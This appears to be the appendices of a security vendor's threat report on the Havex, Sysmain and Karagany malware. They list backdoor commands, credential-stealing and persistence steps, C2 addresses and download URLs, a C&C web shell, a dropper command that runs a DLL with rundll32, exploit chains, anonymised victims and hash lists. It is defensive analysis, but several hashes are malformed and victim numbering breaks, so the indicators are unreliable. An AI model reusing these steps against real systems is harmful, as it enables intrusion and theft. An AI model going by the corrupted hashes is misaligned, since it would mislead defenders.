The UPD command is used to run an updated version of the RAT. The currently running RAT executes the update and exits. Upon execution, the newly updated version will delete the old RAT using the Cleaner method described earlier.

5.5.5 FID

Change Folder attributes.

5.5.6 LIB

The LIB command is used to load a DLL on the infected machine. It simply uses LoadLibrary.

5.5.7 FIR

The FIR command is used to run an executable on the infected computer. The process is created with hidden windows to stay unnoticed.

5.5.8 UPS

The UPS command is used to update the C&C server in the registry.

5.5.9 FIS

The FIS command is used to check if the file passed as parameter exists on the infected computer.

5.5.10 FIT

The FIT command is used to delete a file passed as parameter to the command if it exists on the infected computer.

5.5.11 CMD
The CMD command is used to execute a command on the infected machine using cmd.exe

5.5.12 KEY

The KEY command is used to update the Priv and Pub key in the registry.

5.6 Sleep and Loop again

Once the commands have been executed, the debug message “End work” is displayed. The malware then sleeps for a random amount of time and the main loop continues. If the commands were executed, all results stored in the registry will be POSTED to the server via the AnsSend method.

The malware loops forever waiting for new orders from the attackers.
VI. Appendix 6: Karagany backdoor – detailed analysis

1st stage samples

SHA-256: 1b3cf050d626706d32c1c2c1c9d4975d519cfdbdb9bca0f2e66b7e1120030b439
size: 538152
sources: hXXp://lafollettwines.com/blog/wp-includes/pomo/inden2i.php?dwl=fne
hXXp://kenzhebek.com/tiki/files/templates/listpages/inden2i.php?dwl=fne
dropped as: dxpserver.exe, corensys.exe, wbemmonitor.exe
detected as: Trojan.Win32.Benban.yc

SHA-256: b1a3e67200a3837ecf45481885c2eca88f89509443a0bcec01b12aa737007a9b
size: 248360
detected as: Trojan-Dropper.Win32.Clons.aqwj

SHA-256: fcf7bfe68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915
size: 271400
dropped as: searchindexer.exe
detected as: Trojan-Dropper.Win32.Clons.ampw

SHA: a553384eeadf4ad39e6c89bf16a146c01ebf627d042485844d75cd67b421af8
size: 248360
signature: Trojan-Dropper.Win32.Clons.apvc

This backdoor comes packed with UPX and a custom Delphi packer. The Delphi packer contains anti-debugging tricks and code especially crafted to overrun sandbox mechanisms. The packer unpacks and executes the main binary in several stages, creating multiple separated processes and threads.

Code flow:

• Check OS version, install date, username and system metrics
• Check for event “51032_861222508099”
• Copy self to `%APPDATA%\<mal_folder_name>\<mal_filename>.exe`, where `<mal_folder_name>` and `<file_name>` are chosen from the list of strings hardcoded in the binary
• Set attrs of the copied dropper to hidden & system
• Move the original dropper to `<dropper_path>err.log<rand_nr>`
• Set file attributes to hidden & temporary
• Use `MoveFileWithProgress` to delete the original dropper on the next reboot
• Copy `%SYSTEM%chkdsk.exe` file to the path and filename of the original dropper
• Copy `%SYSTEM%chkdsk.exe` to `%APPDATA%\<mal_folder_name>\<mal_filename> .exe` (with the space at the end)
• Create folder `%APPDATA%\<mal_folder_name>\plugs`
• Use COM objects (IShellLink & IPersistFile interfaces) to create a link in the Startup folder
• Extract the credentials from Internet Explorer’s password manager and save them to `<mal_folder_name>\prx.jpg` file; keep monitoring the credentials in loop and updating the file
• Check if any browser process is running and if so, inject the DLL spying on the basic authentication credentials sent via HTTP traffic; affected browsers include Internet Explorer, Firefox, Mozilla and Opera
• Check Internet connection by sending GET request to `adobe.com/geo/productid.php` and `microsoft.com/en-us/default.aspx`
• If Internet is working, initiate the communication with C2 (the IP address is hardcoded in the binary) by sending the following post request
  
  POST 93.188.161.235/check_value.php?identifiant=51032_86122508099&version=ver4_2
• Await commands
• If the C2 is not available, create an empty file: `<mal_folder_name>\inact.api`
• Create `C:\ProgramData\Mail\MailAg\gl` directory
• Create a thread that monitors this directory and sends the content of files found inside it to the C2 server; the data is encrypted with a combination of XOR and other bitwise operations before sending

List of backdoor commands:

• Cownexec
• Cownadminexec
• Update me
• Deleteplugin
• Loadplugin
• Xdiex
• Xrebootx
• Xmonstart - start monitoring the `C:\ProgramData\Mail\MailAg\gl` dir and send file content to the C2
• Xmonstop - stop monitoring
• Xgetfile
• Xec2 - another routine to execute a binary
• Xfrost
• KillKlg

List of strings used as folder name and filename:

<table>
<thead>
<tr>
<th>Folder name</th>
<th>File name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Microsoft WCF services</td>
<td>SearchIndexer</td>
</tr>
<tr>
<td>Broker services</td>
<td>ImeBroker</td>
</tr>
<tr>
<td>Flash Utilities</td>
<td>fsutil</td>
</tr>
<tr>
<td>Media Center Programs;</td>
<td>PnPutil</td>
</tr>
<tr>
<td>Policy Definitions</td>
<td>BdeUISrv</td>
</tr>
<tr>
<td>Microsoft Web Tools</td>
<td>WinSAT</td>
</tr>
<tr>
<td>Reference Assemblies</td>
<td>pwNative</td>
</tr>
<tr>
<td>Analysis Services</td>
<td>SnippingTool</td>
</tr>
<tr>
<td>InstallShield Information</td>
<td>DFDWizard</td>
</tr>
<tr>
<td>IIS SQL Server</td>
<td>PrintBrmEngine</td>
</tr>
<tr>
<td>Diagnostics;</td>
<td>WbemMonitor</td>
</tr>
<tr>
<td>NTAPI Perfomance</td>
<td>dxpserver</td>
</tr>
<tr>
<td>WPF Platform</td>
<td>PowerMng</td>
</tr>
</tbody>
</table>

2nd stage samples (modules)

Screenshot module

SHA-256: 05fb04474a3785995508101eca7affd8c89c658f7f9555de6d6d4db40583ac53
Size: 823289
Timestamp: Fri, 07 Jun 2013 08:05:56 UTC
Source: 91.203.6.71/check2/muees27jxt/scs.exe
Detected as: Trojan-PSW/Karagany (Microsoft, Norman);

This EXE copies the additional MZ from its overlay to C:\ProgramData\Cap\Cap.exe and runs this file using following command:
"C:\cmd.exe /c C:\ProgramData\Cap\Cap.exe /d C:\ProgramData\Mail\MailAg /f scs.jpg > C:\ProgramData\Mail\MailAg\scs.txt"

Then it deletes the directory C:\ProgramData\Cap and all the files in it, deletes itself and exits.

It uses encrypted strings - XOR with progressively incremented value.

3rd stage 3rd party screenshot tool

SHA256: 150ffd226b8a0d7cabe295b6ad3d256e5aa273a968b5b700b1a5bdebfb088fa7
Size: 696320
Timestamp: Fri, 16 Apr 2010 07:47:33 UTC

Cap.exe is indeed the DuckLink CmdCapture tool - a 3rd party freeware AutoIt application (AutoIt version 3.3.6.1) for capturing the screenshots, available here http://www.ducklink.com/p/download/

This application is dropped by the scs.exe module and run using following command line parameters:
/d C:\ProgramData\Mail\MailAg /f scs.jpg > C:\ProgramData\Mail\MailAg\scs.txt

The /d parameter specifies the destination directory
The /f parameter specifies the filename for the screenshot file.

Text output produced by application is redirected to the C:\ProgramData\Mail\MailAg\scs.txt file and contains information such as:
- Day and time of capture
- Computer name
- Username
- Cpu architecture
- Os version
- IP address
- Logon domain and logon server
- Desktop details (height, width, depth, refresh rate)
- Environmental variables

Description of the DuckLink CmdCapture functionalities from the README file that comes with the application:

This freeware program designed to capture images of the screen.
Main Features:
* Full Screen Capture (display selection support).
* Window Capture.
* Selected area capture.
* Save captured image in silent mode.
* Open captured image in graphic editor.
* Print captured image.
* Put captured image to clipboard.
* Upload captured image (to image hosting services).
* Images format support:
  
  PNG
  GIF
  JPG - Quality can be set.
  BMP - Format can be set.

Example of part of the content of the scs.txt file:

@HOUR: Hours value of clock in 24-hour format. Range is 00 to 23
Sample Value: 23

@MDAY: Current day of month. Range is 01 to 31
Sample Value: 22

@MIN: Minutes value of clock. Range is 00 to 59
Sample Value: 19

@MON: Current month. Range is 01 to 12
Sample Value: 07

@MSEC: Milliseconds value of clock. Range is 00 to 999
Sample Value: 050

@SEC: Seconds value of clock. Range is 00 to 59
Sample Value: 52

@WDAY: Numeric day of week. Range is 1 to 7 which corresponds to Sunday through Saturday.
Sample Value: 3

@YDAY: Current day of year. Range is 001 to 366 (or 001 to 365 if not a leap year)
Sample Value: 203

@YEAR: Current four-digit year
Sample Value: 2014

@ComputerName: Computer’s network name.
Sample Value: WINXP

@ComSpec: value of %comspec%, the SPECified secondary COMMAND interpreter; primarily for
command line uses, e.g. Run(@ComSpec & “ /k help | more”)
Sample Value: C:\WINDOWS\system32\cmd.exe

@CPUArch: Returns “X86” when the CPU is a 32-bit CPU and “X64” when the CPU is 64-bit.
Sample Value: X64

@HomeShare: Server and share name containing current user’s home directory.
Sample Value:

@IPAddress1: IP address of first network adapter. Tends to return 127.0.0.1 on some computers.
Sample Value: 192.168.56.11

@IPAddress2: IP address of second network adapter. Returns 0.0.0.0 if not applicable.
Sample Value: 0.0.0.0

@IPAddress3: IP address of third network adapter. Returns 0.0.0.0 if not applicable.
Sample Value: 0.0.0.0

@IPAddress4: IP address of fourth network adapter. Returns 0.0.0.0 if not applicable.
Sample Value: 0.0.0.0

@LogonDNSDomain: Logon DNS Domain.
Sample Value:

@LogonDomain: Logon Domain.
Sample Value: WINXP
--- snip ---

File listing module

SHA-256: 07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4
Size: 15872
Timestamp: Tue, 02 Jul 2013 12:41:47 UTC
Source: 91.203.6.71/check2/muees27jxt/fl.exe
Detected as: HEUR:Trojan.Win32.Generic

Module listing file.
Saves a list of documents that have specified extensions or contain specified strings in the file name to the C:\ProgramData\Mail\MailAg\fls.txt file. Saved information includes path, size and modification time.

File matching patterns:

*pass*.*     *.rtf     *.xls     *.pdf
*secret*.*    *.pst    *.doc    *.vmdk
*.pgp         *.p12    *.mdb    *.tc
VII. Appendix 7: C&C Analysis

The C&C Backend is written in PHP, consisting of 3 files.

“log.php” is a Web-Shell, used for file level operations.

“testlog.php” is not a PHP-script but it contains the C&C Server logfile of Backdoor-connections. Please see “source.php” below for further information.

“source.php”

The Backdoors interact with “source.php”, which is the control script. Following the functions on execution:

1. Collects the following Information:

<table>
<thead>
<tr>
<th>Information</th>
<th>Syntax/content</th>
<th>Used (written to log)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Timestamp</td>
<td>day-month-year hour:minute-second</td>
<td>Yes</td>
</tr>
<tr>
<td>IP-address</td>
<td>checks and return valid IP-address from HTTP-Request (&quot;HTTP_CLIENT_IP&quot;, &quot;HTTP_X_FORWARDED&quot;, &quot;HTTP_X_X_FORWARDED_FOR&quot;, &quot;REMOTE_ADDR&quot;)</td>
<td>Yes</td>
</tr>
<tr>
<td>Host</td>
<td>reverse lookup of IP-address (gethostbyaddr)</td>
<td>No</td>
</tr>
<tr>
<td>Proxy</td>
<td>Proxy-IP-address if Bot connected through Proxy</td>
<td>No</td>
</tr>
<tr>
<td>UserAgent</td>
<td>UserAgent from HTTP-Request</td>
<td>Yes</td>
</tr>
<tr>
<td>Request-URI</td>
<td>string of URI requested by Bot</td>
<td>Yes</td>
</tr>
<tr>
<td>BotID</td>
<td>BotID transferred with HTTP-request</td>
<td>Yes</td>
</tr>
</tbody>
</table>

2. Writes the above information to “testlog.php”, separated by “Tabulator” and base64-encoded, with the following syntax:
3. Writes all transferred HTTP-GET Variables to "<botID>.log", separated by “Tabulator” and base64-encoded.
4. If the bot executed an HTTP-POST-request, the transferred data is written to the file “<botID>.ans”, enclosed in “xdata”-Tag with timestamp. (“ans” is the acronym for “Answer”)
5. Checks for any file “<botID>_*.*
   a. If found the timestamp, filename and Status “sent” are first appended to “<botID>.log”. Then the file content is transferred to the bot, embedded into HTML with HTML-Body “No data!” and HTML-Comment “Havex” containing the data to be transferred. Finally the file on the server will be removed. If removal fails it’s logged to “<botID>.log”.
   b. If no matching file is found, a HTML-Response is sent with an empty “Havex” HTML-Comment and HTML-Body text “Sorry, no data corresponding to your request.”
VIII. Appendix 8: Victim identification

The page below shows a brief description of the identified victims including information about the company and the sector on which they operates. A total of 101 victims have been identified.

Victim 1
Offers a complete range of manufacturing processes including precision injection molding, cleanroom molding and assembly, sheet metal fabrication, supply chain management and distribution.

Victim 2
Ukrainian wholesale suppliers for the pharmaceutical market.

Victim 3
General contracting, design build and construction management company; based in Alabama.

Victim 4
Company performing web developing, hosting, consulting and content management.

Victim 5
University in Ukraine.

Victim 6
Develops larger machines for international manufacturers – Ireland.

Victim 7
School in Tennessee.

Victim 8
Special Purpose Machines. Working in several sectors including the pharmaceutical, automotive, printing or plastic industry.

Victim 9
Corporation - Area of activity : Adult Internal Medicine, Infectious Disease, Pediatrics, OB/GYN, Dentistry, Psychology, Psychiatry, Social Services

Victim 10
Faculty of Electrical Engineering, Mechanical Engineering and Naval Architecture.
Victim 11
Distributor for construction machinery, energy systems and Caterpillar brand equipment.

Victim 12
One of Northern Ireland’s most respected and innovative construction companies.

Victim 13
Supplier of IT services and products.

Victim 14
Multi-trade company providing high quality electrical, HVAC, IT, across the country (US).

Victim 15
Area of activity: Packaging systems. HQ in Switzerland.

Victim 16
Web development and hosting including ERP and commercial implementation and consulting services. HQ: Chile

Victim 17
Car dealer in Arizona

Victim 18
IT Australia - provides systems to streamline management and governance processes.

Victim 19
Integrated online marketing agency. Russia.

Victim 20
Design and manufacture of standard and custom leak test machines.

Victim 21
University in Spain.

Victim 22
Towing/hauling solutions to the commercial trucking industry. Located coast to coast in the U.S., Canada, Europe, Australia and Mexico.

Victim 23
University in Poland.
Victim 24
Areas of activity: recycling, mining and food sorting.

Victim 25
Systems integrator located in North Carolina. Specializes in the design and implementation of SCADA systems.

Victim 26
City council - Poland.

Victim 27
University in China.

Victim 28
Cleaning solutions.

Victim 29
Manufacturer of flexible packaging and advanced laminate design solutions.

Victim 30
Custom manufacturing of complex three-dimensional sheet metal parts.

Victim 31

Victim 32
Structural engineering field in every major market sector and construction type. California.

Victim 33
Courier services worldwide. Greece.

Victim 34
Institute of Physics. Croatia

Victim 35
Supplies public sector organizations with products and contracts. UK.

Victim 36
University in Spain.

Victim 37
University in Poland.

**Victim 38**
University in Poland.

**Victim 39**
Research & Education Network. USA.

**Victim 40**
University in Germany.

**Victim 41**
American multinational technology and consulting corporation.

**Victim 42**
Creates and manages international private WANs for large multinational companies.

**Victim 43**
Informatics Centre in India.

**Victim 42**
Health authority in Canada.

**Victim 43**
County Government in USA.

**Victim 44**
University in USA.

**Victim 45**
American multinational conglomerate corporation.

**Victim 46**
Unit within University in USA.

**Victim 47**
Operates high speed computer network in Turkey.

**Victim 48**
University in Poland.
Victim 49
Telecommunications and computing services. USA.

Victim 50
American multinational document management corporation.

Victim 51
Major electronic systems company based in France acting in areas such as defense, aerospace, airline security and safety, information technology, and transportation

Victim 52
Swiss multinational pharmaceutical company.

Victim 53
American manufacturing conglomerate involved in aircraft, the space industry, defense-oriented and commercial electronics, automotive and truck components.

Victim 54
Industrial suburb in India.

Victim 55
Information Technology company. Iran.

Victim 56
University in China.

Victim 57
Global payments and technology company. USA.

Victim 58
College in USA.

Victim 59
University in Germany.

Victim 60
University in UK.
Supercomputing and Networking Center. Poland.

**Victim 62**  
University in Canada.

**Victim 63**  
University in USA.

**Victim 64**  
University in Spain.

**Victim 65**  
Academic and Research Network. Ukraine.

**Victim 66**  
University in Canada.

**Victim 67**  
Front, middle, and back office services for global financial markets.

**Victim 68**  
Greek Public Administration Network

**Victim 69**  
University in the USA.

**Victim 70**  
University in Russia.

**Victim 71**  
Airport Authority in the USA.

**Victim 72**  
Multinational manufacturer. Germany.

**Victim 73**  
Energy consumption analysis company.

**Victim 74**  
University in the USA.
Victim 75
University in Taiwan.

Victim 76
University in Japan.

Victim 77
University in Taiwan.

Victim 78
University in the USA.

Victim 79
University in the USA.

Victim 80
University in Sweden.

Victim 81
University in Poland.

Victim 82
Pharma industry.

Victim 83
Digital content for education and research in the UK.

Victim 84
University – weather research.

Victim 85
University in South Korea.

Victim 86
Construction management services.

Victim 87
Education and Research Network, China.

Victim 88
Communications network for science and research, Germany.

**Victim 89**
University in the USA.

**Victim 90**
University in Spain.

**Victim 91**
University in South Korea.

**Victim 92**
Academic and Research Network, Croatia.

**Victim 93**
Encryption technology Institute.

**Victim 94**
University in the USA.

**Victim 95**
Chemical company, Germany.

**Victim 96**
School, USA.

**Victim 97**
University in Ukraine.

**Victim 98**
Liquefied natural gas, US energy demand.

**Victim 99**
University in Poland.

**Victim 100**
Academic and Research Network, Australia.

**Victim 101**
Space research institute, Russia.
IX. Appendix 9: Hashes

Havex, Sysmain, Ddex:

022da314d1439f779364aba958d51b119ac5fda07aac8f5ced77146dbf40c8ac
02e5191078497be1e6ea8bac93b6cfb93e36a58e4f7dd343ac1762e7f9301e
066346170856972f6767905bc6ff4ad21e88d265b84caceaf694564f1856ed18
0850c39af7caac091aeca33333d3c71902b263935df5321edc5089d10e4bbbe
0a0a5b6b8a7e4ed4b6d68f1f5769a9ac55b1a50097588e462fe8d3c486158b8
0c20ffcdf2942cad2e53777a0885c579811f91c05d076ff160684082681fe68
0e3426281367709038983039ba9ff3ade0748a3ab25828d19e2831c036b095
0e7a50s8545252b7f308fe87db08376f789fe7e58a69f5017afa2830643680a5
0f4046be5e157527de8ac786e54ad72320870d268f8e3c8e0997ea76ab3dec55
13da3f3e28302a8543dd5279de09723caeed9800630645ed7b059d67f36554
170e5eb004357dfce6b41de86371de8eb87fa58e8b54a2031a33af930f3c8
1d76aebfd97a5282e7f85da89e174b1db7601cbdcda18s15e8e6245f155a
2221c2323fb6e30b9c10ee68d606b7de823911540bb115f75b2747d015e35f9
24be375f0e11d88210e5f15cc08d72a6c2687676c3e3c6f0513e54f42ed
269ea4b883de66f5235a04441144519cf6cac80ef66ecff073eadd5f9319be0f
2c10940699823885cf043c3e7a8f601665236459d6fe610e678065994154d4
2dc96eb532097aac1808df7a16f7740ef8771afa3339d144d710f9cfcfceb4
2e6f53555651db8e07613e74b1bf85b50273c1f3bce5e4edbedea0ccdf023754
2f24c7cbb7a9e830ed3f9b3b7be7856e0cc8c1580082433ce8b9f236193c6
2f593c22a8fd0de3bb57d26320446a9c7eed755ae354957c2609089c3d8cf79
3094ac9de2eb1d4ca19542f816d15619b4c3fec52b87fdced923f4602d827b
31db22caf480c471205a7608545370c1b3c0c9e5285a9ef2264e85605266b4
43608e60883304c1ea389c7bad244b86ff5ecf1693cb5bca517a6e71253257c7b
487eaf5cc52528bb5f3bb275a53afffb6d534068b364a41fc887b8c1e1485795a
49c1c5e8a71f488a7b560c6751752363389f6272d8c310feee7307dc9d3e2e2
4f3ceeb96f55db050380a1d95bb494ca44d7a9d7f10ed0dd2s5b6fc2792bc0b
4ff5f102f01248a189485fc4c387e9777dd290f0bc6a30c4d837864aed257129
5a61153bc9595d5df3f01476dddb4b1585e533658ab78dd439324b16f973ac2
593849098bd2887b9ed946e8777fa0448dcb25f5b4482291fd7123de867911
59c4ca9dbb5d8a7779eac18b6b2e6f8b03066eb092415d50df55e43b72
5a13d0c594280bb4c65af49376de86ac43eb966f2585973a20d330a34c9a96
60f868895060fdd6997f31deff5b6200a6969b457511cc0446bd22dd1f0a4
6122db2cdac0373cc8513c57786088a5548721d01e7674e78082774044e92980
Exploits:

```
1b12b5bfa6488f05680cc5aacdeda420b643713c88964b824913117c7bdc37e56b72d7aaccb2b2f2cc088f8ab1c1a65becc62d2f04d6e04806f3dc3e7ed3b6cd18347407c78195e25adcc532eecc02cfe4e0940f85729099784047b9a4264d1da07b851a0961a094ec4b4ab0b8bf1bf44740f4266eaccac862e24f825b3d4ecad0830c653a066a6517539e5c938b85b7ee910895190acfc5bf879945ab77b2038c7463ea53e3f9d242e3a4dac94eae0e03545df52450fa4a62904e41
```

Modules:

```
004e99be0c355e1265b783ae557c198b9ce2e84ed49f70db927a726c842f36ca45bb78452cd78386b8fa78dbdf2dda7fba6c06482251e2a6820849c9e8279318994b9a192d110a6d8f8a18009f2d9ce58b3c7d7bda770251096d4fccc188498059cb511a12f285063f8a8cb2a5f9b0b3c6364f8192589a7247533fdaf8a78ef4bca326d323e9be509325947c7eea4e890a5f81b5abd7c76aabb1b48e222120c3a08070921ab5e03146a1a1a865dd24a2b5ef0138bf92eb0f2d4908509a2a8cb8a0f4c29a7c2c63ee58e55aada0a3895382abe7470de48224d868e6
```

For any inquire please contact intelreports@kaspersky.com
ClientX:
66ab3a26ffe5d9fb72083dc3153d0ddfbfb621cc34a299dd987049b479244480

Karagany:
05fb04474a3785995508101eca7affd8c89c658f7f9555de6d6d4db40583ac53
07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4
1b3cf050d626706d32c1c2c1cbd4975d519cfd9bca0f2e66b7e1120030b439
fcf7bfe68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915
a553384eeadf4ad39e6c89bf16a146c01ebf627d042485844d75cd67b421afb8
b1a3e67200a3837ecf45481885c2eca88f89509443a0bce01b12aa737007a9b
a97b5be3d24966ffbeaca15250477b434485f0b3a4c106c443855b965e0426df5
1cbe3c94e97d99e4e6a09cc6a790e1d26afc3d7cb89b90665a0de22680c6f8d7
10.1. Hijacked installers of legitimate software

SwissRanger camera driver (sysmain dropper)

A hijacked installer of libMesaSR used by the “SwissRanger” camera driver, produced by Acroname: http://www.acroname.com/

**Files details:**

- **SHA-256:** 398a69b8be2a2b4a6ed23a55459e0469f657e6c7703871f63da63fb04cefe90
- **Size:** 1311927
- **Compiled:** Sat, 28 May 2011 16:04:38 UTC
- **Detected as:** Trojan.Win32.Inject.hhwa
- **Description:** trojanized installer

  **Path:** `%TEMP\tmp687.dll` and `%APPDATA\sydmain.dll`

- **SHA-256:** a8e6abaa0ddc34b9db6bda17b502be7f802fb880941ce2bd0473fd9569113599
- **Size:** 133152
- **Compiled:** Wed, 12 Jun 2013 04:31:14 UTC
- **Detected as:** Trojan.Win32.Inject.hhwa
- **Description:** Sysmain backdoor

  **Path:** `%TEMP\setup.exe`

- **SHA-256:** 7fa188fb3bfecbd0fbba05cfa4a3078ac44f68c63b784b20046e470613e35f96
- **Size:** 1181500
- **Compiled:** Sat, 05 Dec 2009 22:50:52 UTC
- **Description:** original installer, version 1.0.14.706

**Registry modification:**

```
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
load = C:\WINDOWS\system32\rundll32.exe "c:\documents and settings\luser\application
```
For any inquire please contact intelreports@kaspersky.com

Data analysis:

**data\sydmain.dll”, AGTwLoad**

**eWon software (Havex dropper)**

A hijacked installer of **eCatcher** - a piece of legitimate software developed by a Belgian producer of SCADA and industrial network equipment:

**Files details:**

**SHA-256:** 70103c1078d6eb28b665a89ad0b3d11c1cbca61a05a18f87f6a16c79b501dfa9
**Size:** 43971440
**Compiled:** Sat, 31 Mar 2007 15:09:46 UTC
**Detected as:** (not detected yet)
**Description:** trojanized installer
**Url:** hxxp://www.ewon.biz/software/eCatcher/eCatcherSetup.exe

**Path:** %TEMP%\TmProvider.dll and %SYSTEM%\TMPProvider.dll
**SHA-256:** 401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67
**Size:** 327168
**Compiled:** Mon, 30 Dec 2013 12:53:48 UTC
**Description:** Havex version 038

**Path:** %TEMP%\eCatcherSetup.exe
**SHA-256:** c7caa7fa2a23508b0a024a6a4b2dcaad34ab11ea42dfc3a452901c007cfc34
**Size:** 43785864
**Compiled:** Fri, 19 Jun 1992 22:22:17 UTC
**Description:** original installer, version 4.0.0.13073

**Path:** %TEMP%\qln.dbx
**Size:** 2
**Description:** text file with Havex version number

**Registry modification:**

[HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run]
TmProvider = rundll32 “%SYSTEM%\TMPProvider038.dll”, RunDllEntry

[HKLM\Software\Microsoft\Internet Explorer\InternetRegistry]
mbCheck software (Havex dropper)

A hijacked installer of legitimate software for the remote maintenance of PLC systems - mbCHECK produced by MB Connect Line GmbH:

Files details:

SHA-256: 0b74282d9c03affb25bbecf28d5155c582e246f0ce21be27b75504f17797075f
Size: 1141478
Compiled: Sun, 14 Jul 2013 20:09:51 UTC
Detected as: Trojan-Dropper.Win32.Injector.kcnn
Description: Trojanized installer
Path: %TEMP%\mbCHECK.dll and %SYSTEM%\svcprocess043.dll

SHA-256: d5687b5c5cec11c851e84a1d40af3ef52607575487a70224f63458c24481076c
Size: 437248
Compiled: Fri, 11 Apr 2014 05:37:36 UTC
Description: Havex version 043

Resource:
12.MTMxMjMxMg==.5.havex.14400000.12.Explorer.EXE.0.2.66.sinfulc
lebs.freessexycomics.com/wp05/wp-admin/includes/tmpl/tmp.php.90.ra
pidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-sett
ings/bp-settings-src.php.354.AATXn+MiwLu+xCoMG7SqY1uQxAk1qLdyoED
9LxIVqr2Z/gsrHlsqTvK9AusdFo+9..fzAxf1xzj42880+kUmktmVb5H5Yi8T27Q
54eQ4ZL UF PKZstgHcwPVHGrpmmRmk..09fL3KGd9SgR60My7QtJ4VwGDrqOja
+Ml4SI7e60C4dQAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
29.c8a7af419640516616c342b13efab.29.45474bca5c3a10c8e94e56543c2b
d.60000.2000.323000.10.svcprocess.

Path: %TEMP%\mbCHECK.exe
SHA-256: 34254c2decc973dbd8f28b47690f233f5c5d3e1735ee20a6b8dd1db80d16d81
Size: 1647104
Compiled: Thu, 25 Jul 2013 13:30:28 UTC
Description: original software, version 1.1.1.0
Path: %TEMP%\qln.dbx
Size: 2
Description: text file with Havex version number

Registry modification:

[HKCU|HKLM]\Software\Microsoft\Windows\CurrentVersion\Run]
svcprocess = rundll32 "%SYSTEM%\svcprocess043.dll", RunDliEntry

[HKLM\Software\Microsoft\Internet Explorer\InternetRegistry]
fertger = 229182459113651166490098FD80-c8a7af419640516616c342b13efab

Second stage tool delivery:

kinoporno.org was a confirmed Yeti site. It served Havex variant (d532eb6835126e53e7ae491ae29fd8b3) at
kinoporno.org/Provider.dll.
It also served up the well-known lateral movement utility 64bit Windows Credential Editor tool at
kinoporno.org/wce64.exe

Another example above included a credential and document stealing component, downloaded as a
part of the attack chain from nahoonservices.com:
91.203.6.71/check2/muees27jxt/fl.exe
10.2. Exploitation

**CVE-2011-0611 - PDF exploit**

The exploit is delivered as an XDP file (XML Data Package) which is actually a PDF file packaged within an XML container. This is a known PDF obfuscation method which serves as an additional anti-detection layer.

The XDP file contains an SWF exploit and two files (encrypted with XOR 0x04) stored in the invalid section of the PDF. One of the files is Havex DLL (version 038), the other is a small JAR file, which is used to copy and run the DLL by executing the following command:

```cmd
 cmd /c copy <fname_passed_as_param> %TEMP%\explore.dll /y & rundll32.exe %TEMP%\explore.dll,RunDllEntry
```

The SWF executes the action script, which contains a shellcode (encrypted with XOR 0x96) and another SWF file (encrypted with XOR 0x7D) which uses the CVE-2011-0611 vulnerability to run the shellcode.

The shellcode then looks for the signature S18t in the memory (which signs the start of encrypted DLL), decrypts and loads it.

**Files summary:**

- **SHA-256:** c521adc9620efd44c6fe89ff2385e0101b0e45bcd7ffcd88e26fbab4bec2ef1
  - **File type:** XDP
  - **Size:** 447723
  - **Detected as:** Exploit.SWF.Pdfka.b
  - **Description:** initial dropper

- **SHA-256:** 6b72d7aaccb2bf2f2cc08f8fab1c1a65becc62d2f404d6c04806f3dc3c7ed3b
  - **File name:** A9R1A89.pdf
  - **Size:** 335498
  - **Detected as:** Exploit.SWF.Pdfka.a
  - **Description:** embedded PDF document

- **SHA-256:** dd6ea7b1f6d796fcede4c562402549ef27f510747ddc9d71c54f47c9a75a7cf870
  - **File name:** Tatsumaki.swf
  - **Size:** 3264
  - **Detected as:** Exploit.SWF.Pdfka.a
  - **Description:** malformed SWF
In relation to the Yeti infections, we have discovered a malicious JAVA applet - named googlea.jar - which was part of the malicious HTML file. It uses either CVE-2012-1723 or CVE-2012-4681, depending on which Java version is running on the victim’s machine. It downloads payloads to %JAVATMP%\roperXdun.exe (where X is the sequential number starting from 0 for the payload from the first URL from the list) and executes them.

The URL list is stored in the “uid” parameter in HTML file, so there is no way of checking what the payload was and where it came from without having the original HTML that embedded the malicious applet. The URLs in the parameter are encrypted in the form of a string composed from numbers from 0 to 71 separated by colons. Each number represents a different ASCII character.

**CVE-2012-1723 / CVE-2012-4681 - JAVA exploit**

detections

googlea.class -- Exploit.Java.CVE-2012-1723.ou
googleb.class -- Exploit.Java.CVE-2012-1723.eh
googlec.class -- Exploit.Java.CVE-2012-1723.ov
googled.class -- Exploit.Java.CVE-2012-4681.at
goolee.class -- Exploit.Java.CVE-2012-4681.au
